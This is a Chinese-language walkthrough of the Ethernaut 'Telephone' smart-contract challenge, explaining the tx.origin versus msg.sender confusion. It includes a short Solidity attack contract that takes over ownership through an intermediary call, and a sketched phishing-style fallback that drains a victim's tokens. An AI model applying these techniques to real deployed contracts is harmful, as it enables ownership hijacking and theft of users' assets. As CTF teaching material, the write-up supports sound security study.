4. Telephone
Chain: Goerli
Difficulty: ●○○○○
Level: https://ethernaut.openzeppelin.com/level/0x466BDd41a04473A01031C9D80f61A9487C7ef488
通关要求
创建当前关卡合约实例后,调用 await contract.owner()
发现 owner 并不是当前钱包地址。那通过要求就是将 owner
变更为当前钱包。
分析合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
在 constructor
构造函数中可以看出,owner 是通过 msg.sender
进行初始化。
在 changeOwner
函数中只有 tx.origin
和 msg.sender
不相等时,才将 owner
赋值。
至此,引出两个不同的变量 tx.origin
和 msg.sender
:
tx.origin
: 指调用智能合约功能的账户地址,只有账户地址可以是 tx.origin
msg.sender
:指直接调用智能合约功能的帐户或智能合约的地址。
当以智能合约调用智能合约时,msg.sender
在被调用的智能合约中,会是调用者智能合约的地址,而 tx.origin
则是最初调用智能合约的个人钱包地址。
所以,在创建当前关卡合约实例时,是通过关卡合约进行创建,当部署 Telephone
这个合约时,msg.sender
的值为当前关卡合约地址,而不是当前钱包地址。
解题实现
首先打开Console,获取当前关卡合约实例地址
instance
;打开 Remix IDE,创建文件
Telephone.sol
,粘贴以下代码:// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface ITelephone { function changeOwner(address _owner) external; } contract Telephone { address levelInstance; constructor(address _levelInstance) { levelInstance = _levelInstance; } function changeOwner() public { ITelephone(levelInstance).changeOwner(msg.sender); } }
在constructor 填入当前关卡合约实例地址后部署。
再调用
changeOwner
函数,完成关卡。
后记
这个例子比较简单, 混淆 tx.origin
和 msg.sender
会导致 phishing-style 攻击, 比如this.
下面描述了一个可能的攻击.
使用
tx.origin
来决定转移谁的token, 比如.function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }
攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
function () payable { token.transfer(attackerAddress, 10000); }
在这个情况下,
tx.origin
是受害者的地址 (msg.sender
是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.